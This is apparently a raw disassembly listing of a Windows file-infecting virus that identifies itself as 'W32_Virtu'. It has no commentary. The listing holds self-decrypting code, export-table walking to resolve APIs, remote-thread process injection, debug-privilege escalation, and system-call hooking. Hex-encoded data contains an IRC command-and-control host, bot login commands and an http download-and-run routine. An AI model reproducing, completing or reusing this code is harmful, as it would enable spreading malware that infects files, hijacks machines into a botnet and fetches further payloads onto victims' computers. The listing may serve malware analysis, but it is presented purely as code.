		dd 0E8FFFFFDh, 271h, 42B89D8Bh,	9D030010h, 1042BCh, 0FFFC5BE8h
		dd 51840FFFh, 8B000002h, 1042B4B5h, 3C5E8B00h, 5CE8DE03h
		dd 0FFFFFFDh, 23B82h, 244A8100h, 0E0000060h, 5652FE8Bh
		dd 3147A03h, 85F7107Ah,	1039C0h, 20000000h, 0BD891475h
		dd 104304h, 39CCB58Dh, 8D8B0010h, 101069h, 0B957A4F3h
		dd 0A73h, 1000B58Dh, 0A5F30010h, 2E300B1h, 85F7A4F3h, 1039C0h
		dd 20000000h, 0AE840Fh,	73FF0000h, 0ED9DE828h, 958BFFFFh
		dd 1042F4h, 840FD285h, 98h, 42B4B58Bh, 4A8B0010h, 244A8110h
		dd 0E0000060h, 73084A2Bh, 3C93302h, 8D3B1472h, 101069h
		dd 10698D8Bh, 56720010h, 83243C8Bh, 101069A5h, 0A7830000h
		dd 69h,	87A8B00h, 3084A01h, 8BF787F7h, 1042C885h, 0C085F700h
		dd 40001039h, 74000000h, 318F702h, 30290C72h, 4300B589h
		dd 738B0010h, 0F7300128h, 1039C085h, 4000h, 0F7027400h
		dd 2BE85118h, 59FFFFFCh, 73030CEBh, 0C722B28h, 0A4F35651h
		dd 0B58D595Fh, 1039CCh,	4304BD89h, 0A4F30010h, 310F5E5Fh
		dd 37878D92h, 3A000001h, 1039BE95h, 69067500h, 345678D2h
		dd 50896612h, 0D9E1E8E7h, 8B5AFFFFh, 4A030C4Ah,	0C085F710h
		dd 1039h, 8D200000h, 13750541h,	43008D89h, 85030010h, 101069h
		dd 69A783h, 2B000000h, 87892843h, 54h, 3F7C85F7h, 10010h
		dd 7740000h, 0A00843C7h, 0F7A0A0A0h, 1039C085h,	40000000h
		dd 52077400h, 0FFF75BE8h, 8D8B5AFFh, 104300h, 4B8905E3h
		dd 8B0DEB28h, 1042FC8Dh, 0EB02E300h, 284B8B03h,	39C085F7h
		dd 30010h, 14740000h, 4304858Bh, 8D030010h, 1042ECh, 42E88503h
		dd 8010010h, 8B104A8Bh,	1042B885h, 84A3900h, 4A890373h
		dd 10420108h, 586383h, 42C0858Bh, 0CC680010h, 1000029h
		dd 1590842h, 958A5043h,	1039BEh, 39C085F7h, 10h, 6742000h
		dd 10698D03h, 0B60010h,	39C085F7h, 10h,	14750002h, 85F7C6FEh
		dd 1039C0h, 40000h, 0B58A0675h,	1039BFh, 39C085F7h, 40000010h
		dd 0B750000h, 0C202078Ah, 0E2D602AAh, 8A09EBF7h, 0AAC23207h
		dd 0F7E2D602h, 8B64D233h, 28F6422h, 98BD8358h, 1042h, 0FABF840Fh
		dd 0B5FFFFFFh, 1042B4h,	3EEE95FFh, 0B5FF0010h, 1042B0h
		dd 3E6295FFh, 8D8D0010h, 10429Ch, 42A4958Dh, 52510010h
		dd 0B5FF006Ah, 104298h,	3EE295FFh, 0B5FF0010h, 104298h
		dd 3E6295FFh, 0B58D0010h, 104184h, 4294B5FFh, 0FF560010h
		dd 103EDE95h, 98A58300h, 1042h,	0E8C3h,	6A5D0000h, 0CBED8101h
		dd 58001038h, 85C10FF0h, 101588h, 83C3C085h, 0FF0FFC8h
		dd 158885C1h, 3DC30010h, 2A0010h, 81661C75h, 6C0C247Ch
		dd 60137571h, 0FFFFC4E8h, 0E80575FFh, 0FFFFFAB5h, 0FFFFD2E8h
		dd 0FF2E61FFh, 3456782Dh, 4D0DB812h, 0E8600369h, 0FFFFFFA5h
		dd 448B3975h, 0B58D3024h, 104184h, 6608508Bh, 2063A81h
		dd 68562573h, 0FF0000h,	6AC48Bh, 95FF5052h, 103F2Eh, 8108C483h
		dd 3F3F5C3Eh, 8303755Ch, 62E804C6h, 0E8FFFFFAh,	0FFFFFF7Fh
		dd 0DFB8C361h, 0EB036946h, 4C8FB8B1h, 1DE80369h, 0C2000000h
		dd 30B80020h, 0E8000000h, 10h, 0B80024C2h, 185h, 3E8h
		dd 2CC200h, 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h
		dd 1A8B5D30h, 39A2ED81h, 0B3E80010h, 61FFFFE0h,	20004C2h
		dd 1050306h, 5ECC9C07h,	0FF578B49h, 6DE3D815h, 0FF8B00h
		dd 58h dup(0)
		db 90h
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_414C4C
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_414C43
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_414C4B
; ---------------------------------------------------------------------------


loc_414C43:				; CODE XREF: __u_____:00414C34j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_414C4B:				; CODE XREF: __u_____:00414C41j
		pop	ebx


loc_414C4C:				; CODE XREF: __u_____:00414C1Dj
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 2C06h
		and	ebx, 0FFFFF000h
		sub	ebp, 401006h
		mov	edi, [esp+4]
		lea	esi, loc_40343C[ebp]
		mov	ecx, 71h
		rep movsb


loc_414C73:				; CODE XREF: __u_____:00414C8Fj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_414C89
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_414C91


loc_414C89:				; CODE XREF: __u_____:00414C7Aj
		sub	ebx, 100h
		jnz	short loc_414C73


loc_414C91:				; CODE XREF: __u_____:00414C87j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_414C9F:				; CODE XREF: __u_____:loc_414CC6j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_414CC6
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_414CC6
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_414CC6
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_414CCB


loc_414CC6:				; CODE XREF: __u_____:00414CA9j
					; __u_____:00414CB2j ...
		loop	loc_414C9F
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414CCB:				; CODE XREF: __u_____:00414CC4j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_414CF1+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_414D4F+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_414CF1:				; CODE XREF: __u_____:00414CE2p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_414D0D+1
		inc	ebx
		jb	short near ptr loc_414D68+1
		popa
		jz	short near ptr loc_414D68+4
		inc	ebp
		jbe	short near ptr loc_414D6E+1
		outsb
		jz	short near ptr loc_414D4C+2


loc_414D0D:				; CODE XREF: __u_____:00414CFCp
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_414D29
		inc	edi
		db	65h
		jz	short near ptr loc_414D68+4
		popa
		jnb	short loc_414D97
		inc	ebp
		jb	short near ptr loc_414D97+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_414D29	proc near		; CODE XREF: __u_____:00414D17p

var_2A		= byte ptr -2Ah
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_1		= byte ptr  5
arg_A		= byte ptr  0Eh

; FUNCTION CHUNK AT 00414DD2 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 00414F12 SIZE 000000D0 BYTES
; FUNCTION CHUNK AT 00414FF1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0041502A SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0041502E SIZE 0000001E BYTES

		push	ebx
		call	esi
		mov	[ebp+403544h], eax
		call	sub_414DA7
		test	eax, eax
		jz	short loc_414D5C
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_414D56
		lea	eax, [ebp+4011D2h]


loc_414D4C:				; CODE XREF: __u_____:00414D0Bj
		mov	dl, [eax-1]


loc_414D4F:				; CODE XREF: __u_____:00414CEAj
		call	sub_414DC2
		jmp	short loc_414DD2
; ---------------------------------------------------------------------------


loc_414D56:				; CODE XREF: sub_414D29+1Bj
					; sub_414D29+136j ...
		call	dword ptr [ebp+40353Ch]


loc_414D5C:				; CODE XREF: sub_414D29+10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_414D86


loc_414D68:				; CODE XREF: __u_____:00414D02j
					; __u_____:00414D05j ...
		lea	esi, loc_403435[ebp]


loc_414D6E:				; CODE XREF: __u_____:00414D08j
		mov	edi, [esp+8+var_4]
		movsb
		movsd
		mov	ebx, dword ptr ss:loc_4039B2[ebp]
		mov	esi, [ebp+4039B6h]
		mov	edi, [ebp+4039BAh]


loc_414D86:				; CODE XREF: sub_414D29+3Dj
		pop	ebp
		retn
sub_414D29	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_414D88:				; CODE XREF: sub_414DA7+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_414D97:				; CODE XREF: __u_____:00414D21j
					; __u_____:00414D24j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_414DA7	proc near		; CODE XREF: sub_414D29+9p
					; __u_____:loc_415A4Cp
		xor	ecx, ecx
		call	loc_414D88
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_414DA7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414DC2	proc near		; CODE XREF: sub_414D29:loc_414D4Fp
					; sub_416B96+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_414DC9:				; CODE XREF: sub_414DC2+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_414DC9
		retn
sub_414DC2	endp

; ---------------------------------------------------------------------------
		db 7Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414D29


loc_414DD2:				; CODE XREF: sub_414D29+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr [ebp+401584h], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, [ebp+403431h]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_414DF9:				; CODE XREF: sub_414D29+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_414DF9
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	dword ptr ss:loc_403548[ebp], esi
		lea	esi, [ebp+4015BBh]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_41518C
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_414F12
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_414D56
		xchg	eax, edi
		lea	esi, dword_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset dword_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_414D29
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+401A3Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_414D56
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_414D56
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_414F02
		jmp	loc_414D56

; =============== S U B	R O U T	I N E =======================================



sub_414F02	proc near		; CODE XREF: __u_____:00414EF8p
					; sub_414F02+Dj
		push	1
		pop	ecx
		jecxz	short locret_414F11
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_414F02
; ---------------------------------------------------------------------------

locret_414F11:				; CODE XREF: sub_414F02+3j
		retn
sub_414F02	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414D29


loc_414F12:				; CODE XREF: sub_414D29+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_414D56
		call	near ptr loc_414F29+1 ;	CODE XREF: sub_414D29+257j
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_414F29:				; CODE XREF: sub_414D29+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_414F46+5
		inc	eax
		inc	edi
		wait
		cmp	byte ptr [ebp+ebp*4+8],	83h ; CODE XREF: sub_414D29+26Bj
		jl	short near ptr loc_414F6B+4
		add	edx, [ecx-7F525F84h]
		jl	short $+2


loc_414F46:				; CODE XREF: sub_414D29+209j
		cmp	dword ptr [ebp+4035F8h], 0
		mov	dh, 0BDh
		cmp	[esp+0Ch+arg_A], 80h ; CODE XREF: sub_414D29+247j


loc_414F54:				; CODE XREF: sub_414D29+2A7j
		jl	short near ptr loc_414FAF+3
		xchg	eax, esp
		cmp	byte ptr [edi+23h], 80h
		jl	short near ptr loc_414F86+4
		add	al, 81h
		jl	short near ptr loc_414F96+3
		push	es
		cmp	dword ptr [edi+ecx+4Bh], 0C0587C86h ; CODE XREF: sub_414D29+263j


loc_414F6B:				; CODE XREF: sub_414D29+213j
		cmp	byte ptr [esp+ebp*8-19h], 80h
		jl	short near ptr loc_414F4F+1 ; CODE XREF: sub_414D29+2B3j
		stosd
		cmp	[esp+edi+10h+arg_1], 81h
		jl	short loc_414FF1
		or	al, [ecx-7CE3BA84h]
		jl	short near ptr loc_414F1F+4
		mov	dh, 80h
		jl	short near ptr loc_414F84+1 ; CODE XREF: sub_414D29:loc_414F84j


loc_414F86:				; CODE XREF: sub_414D29+233j
		or	[esi-7CA23584h], al
		jl	short near ptr loc_414F63+5
		adc	[ecx-7ED52184h], eax ; CODE XREF: sub_414D29+27Fj
		jl	short near ptr loc_414F37+4


loc_414F96:				; CODE XREF: sub_414D29+237j
		sbb	eax, [edx-7FE28884h]
		jl	short loc_414FA3
		mov	ecx, 0BB767C80h


loc_414FA3:				; CODE XREF: sub_414D29+273j
		cmp	byte ptr [ecx+9], 83h
		jl	short near ptr loc_414F8E+1
		cmp	eax, 3F587C86h


loc_414FAF:				; CODE XREF: sub_414D29:loc_414F54j
		xchg	bh, [edx+eax*4+27h]
		cmp	dword ptr [eax+edi*4+1Ch], 24427C83h
		cmp	[esp+ebx+10h+var_5], 81h
		jl	short near ptr loc_415034+2
		mov	ecx, 9A517C80h
		cmp	byte ptr [edi+eax*4+0Dh], 81h
		jl	short loc_41502E
		aam	90h
		jl	short loc_414F54
		setalc
		nop
		jl	short loc_41502A
		xlat
		nop
		jl	short near ptr loc_41503E+5
		xlat
		nop
		jl	short near ptr loc_414F70+1
		xlat
		nop
		jl	short $+2
; END OF FUNCTION CHUNK	FOR sub_414D29
; ---------------------------------------------------------------------------
		dw 0
		dd 90DC5500h, 90DCFD7Ch, 90DD907Ch
		db 7Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414D29


loc_414FF1:				; CODE XREF: sub_414D29+24Fj
		mov	edx, 0B67C90DDh
		ficom	word ptr [eax-6F1FBA84h]
		jl	short near ptr loc_41502E+2
		jmp	far ptr	7C91h:30C67C90h
; END OF FUNCTION CHUNK	FOR sub_414D29
; ---------------------------------------------------------------------------
		db 8Bh,	0D4h, 6Ah
		dd 6ACC8B00h, 6A006A40h, 6A5202h, 69CE68h, 51006A00h, 0FF50FF6Ah
		dd 4035E495h, 85595F00h
; ---------------------------------------------------------------------------
		dec	dword ptr [edi]
; START	OF FUNCTION CHUNK FOR sub_414D29


loc_41502A:				; CODE XREF: sub_414D29+2ABj
		test	[edi], ah
		std
; END OF FUNCTION CHUNK	FOR sub_414D29
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414D29


loc_41502E:				; CODE XREF: sub_414D29+2A3j
					; sub_414D29+2D3j
		dec	dword ptr [ebp+401000B5h]


loc_415034:				; CODE XREF: sub_414D29+297j
		add	[ecx+0A74h], bh
		mov	ebp, edi
		rep movsd


loc_41503E:				; CODE XREF: sub_414D29+2AFj
		sub	ebp, offset dword_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_414D29
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db 95h,	0E0h, 18h
		db  40h	; @
		align 2
		dw 0FF52h
		db  95h	; •
		dd offset loc_40359A+2
		db 0E8h, 16h, 0
		db    0
		align 2
aLookupprivileg	db 'LookupPrivilegeValueA',0
		dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h
		dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0FF560065h
		dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h,	83004035h
		dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h,	0B9004035h
		dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h
		dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h,	7204FE83h
		dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h,	93DC74C0h
		dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh
		dd 56505450h, 53505051h, 356895FFh, 0C0850040h,	0FF0F7459h
		dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h
		dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh
		dd 585858h, 29CEh, 0D65h, 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_41518C	proc near		; CODE XREF: sub_414D29+100p
					; sub_41518C+10j
		push	ecx
		push	esi
		push	ebx
		call	dword ptr ss:loc_403548[ebp]
		stosd
		pop	ecx


loc_415197:				; CODE XREF: sub_41518C+Ej
		lodsb
		test	al, al
		jnz	short loc_415197
		loop	sub_41518C
		retn
sub_41518C	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32first	db 'Process32First',0
aProcess32next	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
		dw 744Eh
		dd 5670614Dh, 4F776569h, 63655366h, 0FF6F6974h,	4FFFFFFFh
		dd 466E6570h, 656C69h, 704F744Eh, 72506E65h, 7365636Fh
		dd 6B6F5473h, 4E006E65h, 6F725074h, 74636574h, 74726956h
		dd 4D6C6175h, 726F6D65h, 744E0079h, 74697257h, 72695665h
		dd 6C617574h, 6F6D654Dh, 52007972h, 6E556C74h, 646F6369h
		dd 72745365h, 54676E69h, 736E416Fh, 72745369h, 676E69h
		dd 53415357h, 74726174h, 63007075h, 65736F6Ch, 6B636F73h
		dd 63007465h, 656E6E6Fh, 67007463h, 6F687465h, 79627473h
		dd 656D616Eh, 63657200h, 65730076h, 7300646Eh, 656B636Fh
		dd 6E490074h, 6E726574h, 6C437465h, 4865736Fh, 6C646E61h
		dd 6E490065h, 6E726574h, 65477465h, 6E6F4374h, 7463656Eh
		dd 74536465h, 657461h, 65746E49h, 74656E72h, 6E65704Fh
		dd 6E490041h, 6E726574h, 704F7465h, 72556E65h, 4900416Ch
		dd 7265746Eh, 5274656Eh, 46646165h, 656C69h, 41564441h
		dd 32334950h, 4C4C442Eh, 67655200h, 736F6C43h, 79654B65h
		dd 67655200h, 6E65704Fh, 4579654Bh, 52004178h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 53676552h, 61567465h
		dd 4565756Ch, 83004178h, 0C82B05E9h, 6851h, 4C8DE800h
		dd 6A0324h, 5051056Ah, 8B056A53h, 0D48B50CCh, 406A5450h
		dd 0FF535251h, 4035F095h, 0CC48300h, 35F495FFh,	0C4830040h
		dd 8D57C308h, 4015B185h, 50FF3300h, 0E6A006Ah, 35A495FFh
		dd 0C0850040h, 90840Fh,	68500000h, 69CEh, 6AD48Bh, 406ACC8Bh
		dd 10000068h, 52026A00h, 0CE68006Ah, 6A000069h,	50535100h
		dd 35E495FFh, 595F0040h, 353C95FFh, 0FF850040h,	8D8B5C74h
		dd 401588h, 958D0CE3h, 401000h,	5357D103h, 858BD2FFh, 4035D4h
		dd 23948F8Dh, 54E80000h, 8BFFFFFFh, 4035E885h, 0E18F8D00h
		dd 0E8000023h, 0FFFFFF43h, 35D8858Bh, 8F8D0040h, 23E8h
		dd 0FFFF32E8h, 0DC858BFFh, 85004035h, 8D0B74C0h, 23F58Fh
		dd 0FF1DE800h, 0C78BFFFFh, 0E855C35Fh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, [ebp+401DAEh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh,	52500040h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 401A54h, 85C720CDh
		dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
		dd 0B68F0h, 0D08B0000h,	3C50035Bh, 1A72B58Dh, 0BA8B0040h
		dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
		dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h,	0FF6A5251h
		dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h,	7EA83D7h
		dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h
		db 75h,	0F0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_4156EF	proc near		; CODE XREF: sub_415F5A+1Bp
					; sub_4160D2+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_4156EF	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h
		dd 0B984h, 8EC8100h, 54000002h,	10468h,	9095FF00h, 8B004035h
		dd 24848DFCh, 104h, 0E8006A50h,	4, 545256h, 8C95FF57h
		dd 33004035h, 4978DC9h,	51000001h, 51026A51h, 68016Ah
		dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h
		dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h
		dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h
		dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h
		dd 104h, 6AC033ABh, 0ABF35910h,	50505050h, 52505050h, 356495FFh
		dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h
		dd 4C25D00h, 0A3E8000h,	8B460175h, 4015848Dh, 8D19E300h
		dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h
		dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh
		dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h,	6A51CEh
		dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh,	858D0000h
		dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h
		dd 0Ch,	0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h
		dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h
		dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh
		dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh
		dd 0FF47C6h, 10BA310Fh,	0F7000027h, 95FF52E2h, 4035BCh
		dd 5050C033h, 9E85050h,	44000000h, 6C6E776Fh, 64616Fh
		dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h
		dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h
		dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h
		dd 40353Ch, 8D80C3F8h, 401577h,	53C3F901h, 5754464Fh, 5C455241h
		dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h
		dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch
		dd 61540072h, 74656772h, 74736F48h, 0FF000200h,	8F7255F0h
		dd 6F7270D0h, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h
		dd 43494E00h, 6675204Bh, 686A7A64h, 550A6377h, 20524553h
		dd 30323076h, 20313035h, 202E202Eh, 4F4A2D3Ah, 26204E49h
		dd 74726976h, 0E8550A75h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 401DB4h
		mov	byte ptr [ebp+401577h],	0
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	short loc_415A09
		push	1Eh
		mov	esi, [ebp+403550h]
		pop	ecx


loc_4159D6:				; CODE XREF: __u_____:loc_415A05j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_415A05
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_415A05
		lea	edi, loc_403640[ebp]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+40336Ah]
		pop	dword ptr [ebp+403390h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_415A05:				; CODE XREF: __u_____:004159D9j
					; __u_____:004159E0j
		loop	loc_4159D6
		jmp	short loc_415A4C
; ---------------------------------------------------------------------------


loc_415A09:				; CODE XREF: __u_____:004159CBj
		lea	eax, [ebp+4015B1h]
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		cmp	dword ptr [esp+8], 4
		jnz	short loc_415A4C
		call	near ptr loc_415A29+1
		push	ebx
		inc	esi
		inc	ebx


loc_415A29:				; CODE XREF: __u_____:00415A21p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:48E80040h, dh
		cld
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h
		dd 0FFFFFC31h
; ---------------------------------------------------------------------------


loc_415A4C:				; CODE XREF: __u_____:00415A07j
					; __u_____:00415A1Fj
		call	sub_414DA7
		dec	dword ptr [ebp+401303h]
		call	near ptr loc_415A66+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_415A66:				; CODE XREF: __u_____:00415A57p
		add	bh, bh
		xchg	eax, ebp
		pushf
		xor	eax, 0AE80040h
; ---------------------------------------------------------------------------
		db 0
		dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h
		dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h
